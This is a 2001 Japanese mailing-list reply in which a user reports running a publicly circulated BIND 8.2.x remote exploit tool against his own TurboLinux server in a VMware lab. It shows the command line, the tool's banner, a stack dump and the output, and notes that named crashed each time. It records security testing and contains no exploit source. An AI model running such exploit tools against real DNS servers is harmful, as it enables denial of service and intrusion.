[connect24h:01822] Re: 侵入手口について

[Takeshi Fujimoto <tac@xxxxxxxxxxxxxxxxxxxxxxxx>]

藤本@三原市です。

At Tue, 27 Feb 2001 20:16:46 +0900,
hama <hamamoto@xxxxxxxxxxx> wrote:
> TurboLinux 6.0から別マシンのVMWare上で稼動するRedHat6.2 Named8.2.2-P5
> に対して行いました。
> 同じくVMWare上で稼動するRedHat6.2 Named8.2.2-P5から自分自身に対して行
> いました。

TruboLinuxServer 6.1(FTP版)をVMWare上で動作させているものに対して
ホストOSから行ってみました。

tac@valtan:~$ ./bind 192.168.10.14 -v r
copyright last stage of feb 2001 : H.U.C http://www.cnhonker.com/
 bind 8.2 8.2.1 8.2.2 8.2.2-PX

stack dump:
8c e3 0f 40 02 00 05 04 c0 a8 0a 01 00 00 00 00 
00 00 00 00 e4 fb ff bf 4b 5f 94 5b 7c ba 09 08 
38 ac 0f 08 40 34 10 40 16 00 00 00 01 00 00 00 
38 ac 0f 08 05 00 00 00 b1 3a 0e 08 16 00 00 00 
01 00 00 00 f0 4f 06 08 40 34 10 40 18 ac 0f 08 
ff ff ff ff 00 00 00 00 38 ac 0f 08 01 00 00 00 
08 fd ff bf 77 86 14 01 a0 40 06 08 38 ac 0f 08 
8c e3 0f 40 28 8f 0f 40 

frame ptr=0xbffffb00 adr=bffff999 ofs=34 port=0665 connected! sent!

--
という表示が帰って来て、namedは落ちました。再度namedを起動して
やってみてもまるっきり同じ状況です。bindのバージョンは
bind-8.2.2P5-2
でした。

とりあえず結果報告です。

--
藤本武史     tac@xxxxxxxxxxxxxxxxxxxxxxxx
広島県三原市 tac@xxxxxxxxxx
             ex JA4OYR